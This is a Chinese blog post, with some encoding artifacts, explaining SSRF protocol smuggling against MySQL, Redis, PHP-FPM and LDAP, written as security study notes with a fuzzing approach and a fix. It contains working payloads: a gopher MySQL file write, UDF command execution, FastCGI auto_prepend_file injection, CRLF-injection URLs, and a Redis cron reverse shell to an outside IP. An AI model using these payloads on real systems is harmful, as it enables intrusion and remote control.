前言
這是很早就整理的筆記,今天想起來發(fā)到博客上,還是要保持寫文章總結(jié)的習(xí)慣啊。 最近筆者在看講SSRF、protocol smuggle、HTTP request smuggle、SSO任意跳轉(zhuǎn),Url解析不一致導(dǎo)致的安全問題。一方面由衷地佩服演講人的腦洞和安全功底,另外一方面又在筆者又在反思,如果是我,我會(huì)怎么去發(fā)現(xiàn)此類漏洞,解決方案又是什么。本文不同于各大公眾號(hào)千篇一律的復(fù)現(xiàn)、驗(yàn)證漏洞文章,會(huì)加入自己的思考和心得。鑒于文章會(huì)存在一些敏感內(nèi)容,筆者會(huì)本著在刪除敏感內(nèi)容的前提下,盡量讓大家都能看懂的標(biāo)準(zhǔn)去和大家一起探討這方面的知識(shí)。
在學(xué)習(xí)前之前我會(huì)給自己提出來如下問題:
1.漏洞的本質(zhì)到底什么
2.應(yīng)該如何防御
3.如何發(fā)現(xiàn)同類漏洞,如何自動(dòng)化找到此類漏洞甚至0day
什么是SSRF
SSRF(Server-Side Request Forgery:服務(wù)器端請(qǐng)求偽造) 是一種由攻擊者構(gòu)造形成由服務(wù)端發(fā)起請(qǐng)求的一個(gè)安全漏洞。一般情況下,SSRF攻擊的目標(biāo)是從外網(wǎng)無法訪問的內(nèi)部系統(tǒng)。(正是因?yàn)樗怯煞?wù)端發(fā)起的,所以它能夠請(qǐng)求到與它相連而與外網(wǎng)隔離的內(nèi)部系統(tǒng))。
<?php
$ch = curl_init();
? ? curl_setopt($ch, CURLOPT_URL, $_GET['url']);
? ? #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
? ? curl_setopt($ch, CURLOPT_HEADER, 0);
? ? #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
? ? $data =curl_exec($ch);
? ? curl_close($ch);
? ? echo $data;
?>
很多介紹SSRF的文章都會(huì)以這個(gè)作為演示Demo,可以看看curl支持哪些協(xié)議:curl-config –protocols
DICT
FILE
FTP
FTPS
GOPHER
HTTP
HTTPS
IMAP
IMAPS
LDAP
LDAPS
POP3
POP3S
RTSP
SMB
SMBS
SMTP
SMTPS
TELNET
TFTP
看到Orange Thai 在blackhat中發(fā)表的演講《A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! 》中將講解了fuzz思路和利用方法,結(jié)合本人的一些理解,將從按照協(xié)議走私的方式來分析利用方式。
利用gopher協(xié)議
gopher協(xié)議背景介紹
一、Gopher是Internet上一個(gè)非常有名的信息查找系統(tǒng),它將Internet上的文件組織成某種索引,很方便地將用戶從Internet的一處帶到另一處。在WWW出現(xiàn)之前,Gopher是Internet上最主要的信息檢索工具,Gopher站點(diǎn)也是最主要的站點(diǎn),使用tcp70端口。但在WWW出現(xiàn)后,Gopher失去了昔日的輝煌。現(xiàn)在它基本過時(shí),人們很少再使用它;二、地鼠Gopher(谷佛)是迪士尼卡通人物之一。
opher協(xié)議是個(gè)tcp/ip協(xié)議,通過gopher協(xié)議可以發(fā)送tcp stream做的事情。比如我們操作mysql,操作redis,甚至使用smtp協(xié)議發(fā)送郵件等等都可以通過轉(zhuǎn)換成gopher協(xié)議達(dá)到一樣的效果。
gopher protocol smuggle
gopher協(xié)議是萬金油,通過protocol smuggle能執(zhí)行轉(zhuǎn)換成太多協(xié)議
攻擊mysql
首先為了實(shí)驗(yàn)環(huán)境演示盡可能簡(jiǎn)單,mysql高于5.7需要關(guān)閉mysql tls,保證mysql為空密碼,關(guān)閉tls方法如下
mysql> SHOW VARIABLES LIKE '%ssl%';
+---------------+-----------------+
| Variable_name | Value? ? ? ? ? |
+---------------+-----------------+
| have_openssl? | YES? ? ? ? ? ? |
| have_ssl? ? ? | YES? ? ? ? ? ? |
| ssl_ca? ? ? ? | ca.pem? ? ? ? ? |
| ssl_capath? ? |? ? ? ? ? ? ? ? |
| ssl_cert? ? ? | server-cert.pem |
| ssl_cipher? ? |? ? ? ? ? ? ? ? |
| ssl_crl? ? ? |? ? ? ? ? ? ? ? |
| ssl_crlpath? |? ? ? ? ? ? ? ? |
| ssl_key? ? ? | server-key.pem? |
+---------------+-----------------+
9 rows in set (0.00 sec)
編輯配置文件:?/path/to/file/my.cnf
[mysqld]
...
skip_ssl
# disable_ssl
很多文章也介紹了如何通過wireshark 抓包然后轉(zhuǎn)換成gopher協(xié)議的文章,比如https://paper.seebug.org/510/
或者如果你嫌棄麻煩,直接使用大佬開發(fā)的工具https://xz.aliyun.com/t/5844即可,協(xié)議怎么轉(zhuǎn)成gopher協(xié)議,本文不展開。
secure_file_priv和寫目錄不受任何限制的情況下
如果不受secure_file_priv和任何目錄的限制,可以直接是導(dǎo)出webshell,導(dǎo)出crontab任務(wù),導(dǎo)入udf并反彈shell
show global variables like '%secure_file_priv%';
mysql> show global variables like '%secure_file_priv%';
+------------------+-----------------------+
| Variable_name? ? | Value? ? ? ? ? ? ? ? |
+------------------+-----------------------+
| secure_file_priv | /var/lib/mysql-files/ |
+------------------+-----------------------+
1 row in set (0.00 sec)
所以可以直接執(zhí)行
mysql -h 127.0.0.1 -uroot -e "select 'hello' into outfile '/var/lib/mysql-files/eval.php'";
轉(zhuǎn)換成gopher協(xié)議利用即可
curl gopher://127.0.0.1:3306/_%a1%00%00%01%85%a2%3f%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%64%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%03%32%34%31%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%36%2e%34%36%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%3c%00%00%00%03%73%65%6c%65%63%74%20%27%68%65%6c%6c%6f%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%6c%69%62%2f%6d%79%73%71%6c%2d%66%69%6c%65%73%2f%65%76%61%6c%2e%70%68%70%27%01%00%00%00%01
udf攻擊
mysql> show variables like "%plugin%";
+---------------+------------------------+
| Variable_name | Value? ? ? ? ? ? ? ? ? |
+---------------+------------------------+
| plugin_dir? ? | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)
查看版本和操作系統(tǒng)到https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql下載
mysql> select @@version_compile_os, @@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Linux? ? ? ? ? ? ? ? | x86_64? ? ? ? ? ? ? ? ? ? |
+----------------------+---------------------------+
1 row in set (0.00 sec)
方便演示直接從sqlmap中復(fù)制出udf.so文件,實(shí)際攻擊中可以使用gopher +mysql導(dǎo)出,前提是/usr/lib/mysql/plugin/目錄有導(dǎo)出權(quán)限
select hex(load_file('/var/lib/mysql-files/mysqludf.so')) into outfile '/var/lib/mysql-files/udf.txt';
select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';
查看一下so文件中支持哪些函數(shù)
nm -D /usr/lib/mysql/plugin/mysqludf.so
導(dǎo)入函數(shù)
create Function sys_eval returns string soname 'mysqludf.so';
select sys_eval ('whoami');
secure_file_priv受到限制
如果secure_file_priv受到限制可以使用https://www.freebuf.com/column/150308.html的方法去getshell。除此之外還可以爆破mysql密碼之類的。
攻擊redis
set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/101.198.180.248/4444 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
set x "777"
config set dir /data/
config set dbfilename just66
save
老生常談,很多文章都詳細(xì)介紹了,這里不做展開,轉(zhuǎn)換成gopher協(xié)議即可。
mongodb
資料較少
zoomkeeper
參考http://www.polaris-lab.com/index.php/archives/41/學(xué)習(xí)
攻擊PFM
總結(jié)如下,通過fastcgi協(xié)議控制PHP環(huán)境變量,達(dá)到在任何php腳本執(zhí)行之前執(zhí)行我們要執(zhí)行的代碼
{
? ? 'GATEWAY_INTERFACE': 'FastCGI/1.0',
? ? 'REQUEST_METHOD': 'GET',
? ? 'SCRIPT_FILENAME': '/var/www/html/index.php',
? ? 'SCRIPT_NAME': '/index.php',
? ? 'QUERY_STRING': '?a=1&b=2',
? ? 'REQUEST_URI': '/index.php?a=1&b=2',
? ? 'DOCUMENT_ROOT': '/var/www/html',
? ? 'SERVER_SOFTWARE': 'php/fcgiclient',
? ? 'REMOTE_ADDR': '127.0.0.1',
? ? 'REMOTE_PORT': '12345',
? ? 'SERVER_ADDR': '127.0.0.1',
? ? 'SERVER_PORT': '80',
? ? 'SERVER_NAME': "localhost",
? ? 'SERVER_PROTOCOL': 'HTTP/1.1'
? ? 'PHP_VALUE': 'auto_prepend_file = php://input',
? ? 'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
找到一個(gè)已存在的PHP文件
設(shè)置 auto_prepend_file 為 php://input 且 allow_url_include = On,在執(zhí)行任何php文件前都要包含一遍POST的內(nèi)容,把待執(zhí)行的代碼放在Body中
或者 auto_prepend_file 為 自己的vps地址
繞過 disable_functions RCE
可以引入擴(kuò)展 .so文件 ,hook函數(shù),達(dá)到繞過 disable_functions 來RCE的效果
PHP_ADMIN_VALUE[‘extension’] = hack.so
生成 .so
攻擊SYSLOG
可以寫日志,這點(diǎn)略過
利用http協(xié)議
如果不打算從協(xié)議角度突破那就是可以利用出各種基于http協(xié)議web應(yīng)用或者中間件或者服務(wù),比如spring,zabbix等等
http protocol smuggle
思考一下,很多情況下,如果加入了starts with(‘http’),恰巧服務(wù)器內(nèi)網(wǎng)在存在體態(tài)未授權(quán)的redis,我該怎么利用?除了可以利用302跳轉(zhuǎn),還可以想辦法進(jìn)行protocol smuggle,302跳轉(zhuǎn)不在我們本次討論的范圍。我們考慮點(diǎn)應(yīng)該是如何使用protocol smuggle,讓http做其他協(xié)議能做的事情?
在實(shí)際場(chǎng)景中,不同語(yǔ)言利用自己的工具包發(fā)送http請(qǐng)求。比如python中用httplib,urllib,urllib2,requests,java中用net.URL,ruby會(huì)使用Net::HTTP等等。下面來針對(duì)此類發(fā)送http工具能否protocol smuggle執(zhí)行fuzz,換言之是否能夠利用http協(xié)議來做操作redis,ftp,mysql等等,這一個(gè)過程我們?cè)趺慈uzz?。
思考
我該如何進(jìn)行fuzz,這些需要捋清思路。根據(jù)RFC 3986規(guī)范,正常來說一個(gè)URL應(yīng)該找這樣。我們考慮在authority、path中插入%0D%0A或者其他字符看看能否達(dá)到protocol smuggle的標(biāo)準(zhǔn)。這部分可以寫一個(gè)程序去fuzz,具體大家也可以自己實(shí)現(xiàn)一遍。Orange還在PPT提到,在NodeJs中,CLRF被過濾了,但是使用http://127.0.0.1:6379/ -SLAVEOF @orange.tw@ 6379-仍然能夠進(jìn)行protocol smuggle。
可以通過fuzz出不同語(yǔ)言http請(qǐng)求工具庫(kù)解析造成的protocol smuggle,這部分知道思路之后可以自己寫一個(gè)工具去fuzz,我只fuzz了python3下的urllib,fuzz出如下 %09 %0a %0d %20任意組合可以達(dá)到protocol smuggle的效果,我準(zhǔn)備了0-167的ascii碼作為字符組合進(jìn)行fuzz,這個(gè)需要提到是開發(fā)用的tcp服務(wù)器需要用nio來寫提高吞吐率。
其中fuzz到很多,下聯(lián)列出兩條
http://127.0.0.1:6379/%09%0aHost:baidu.com%09%0a=>http://127.0.0.1:6379/\t\nHost:baidu.com\t\n
http://127.0.0.1:6379/%20%09Host:baidu.com%20%09=>http://127.0.0.1:6379/ \tHost:baidu.com \t
攻擊redis
針對(duì)python 中的
import urllib
import urllib.error
import urllib.request
if __name__=="__main__":
? ? url1 = "http://10.211.55.2:6379/a\r\nHost:baidu.com\r\n"#老的
? ? url3 = "http://ssrf_redis_host:6379/\t\nSET test success\t\na"
? ? urllib.request.urlopen(url3).code
未授權(quán)redis中被寫入成功
root@19e4c139fc3e:/data# redis-cli
127.0.0.1:6379> KEYS *
1) "test"
127.0.0.1:6379> GET test
"success"
127.0.0.1:6379>
其實(shí)只要整理好思路,針對(duì)不同語(yǔ)言的也是類似的fuzz過程,fuzz完之后給python官方提了個(gè)issue。
攻擊syslog
略過,關(guān)于更多方式可以見https://hackerone.com/reports/115748
利用LDAP協(xié)議
還有一種場(chǎng)景就是,很多開源系統(tǒng)中會(huì)存在LDAP測(cè)試連接,這個(gè)地方的ssrf結(jié)合csrf也可以被用來進(jìn)行利用。還是以python中的python-ldap包為例,可以
import ldap
conn = ldap.initialize("ldap://127.0.0.1:6379")
conn.simple_bind_s("\r\nSET test1 success\r\n", "admin88")
結(jié)果如下
root@1ca44b41ffcf:/data# redis-cli
127.0.0.1:6379> KEYS *
(empty list or set)
127.0.0.1:6379> KEYS *
1) "test1"
127.0.0.1:6379> KEYS *
1) "test1"
127.0.0.1:6379> GET test1
"success"
127.0.0.1:6379>
如果使用的是ldap3,效果如下
from ldap3 import Server, Connection, ALL, SUBTREE, ServerPool
ldap_server_pool = ServerPool("ldap://10.211.55.2:6379")
conn = Connection(ldap_server_pool, user="\r\nSET ldap3 success\r\n", password="pass", check_names=True, lazy=False,
? ? ? ? ? ? ? ? ? raise_exceptions=True)
conn.bind()
127.0.0.1:6379> KEYS *
1) "ldap3"
2) "test"
3) "test1"
127.0.0.1:6379>
修復(fù)方式也很簡(jiǎn)單,直接在bind之前,執(zhí)行下open函數(shù),open函數(shù)會(huì)做一次校驗(yàn)
from ldap3 import Server, Connection, ALL, SUBTREE, ServerPool
ldap_server_pool = ServerPool("ldap://10.211.55.2:6379")
conn = Connection(ldap_server_pool, user="\r\nSET ldap4 success\r\n", password="pass", check_names=True, lazy=False,
? ? ? ? ? ? ? ? ? raise_exceptions=True)
conn.open()
conn.bind()
效果如下
127.0.0.1:6379> KEYS *
(empty list or set)
##利用DICT協(xié)議
不展開
參考資料
https://github.com/orangetw/Tiny-URL-Fuzzer
https://www.cnblogs.com/0xdd/p/11181490.html
https://www.freebuf.com/articles/web/159342.html
http://www.itdecent.cn/p/fd27f0eedccf
https://joychou.org/web/phpssrf.html#directory099269053851112076
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
https://github.com/w181496/FuckFastcgi/
https://www.imooc.com/article/45057
http://www.cppcns.com/shujuku/mysql/110209.html
https://blog.zeddyu.info/2019/12/08/HTTP-Smuggling-en/
https://bugs.python.org/issue30458
http://regilero.github.io/security/english/2015/10/04/http_smuggling_in_2015_part_one/
https://github.com/python/cpython/commit/cc54c1c0d2d05fe7404ba64c53df4b1352ed2262
https://github.com/ONsec-Lab/scripts/blob/master/http-splitter-fuzzer.php
https://github.com/alibaba/Sentinel/commit/6f5ede80ae0df34d8063d475204629c3fce50927
常見的端口和服務(wù)https://mp.weixin.qq.com/s/lTz88XIt9CMdyppSePBAHQ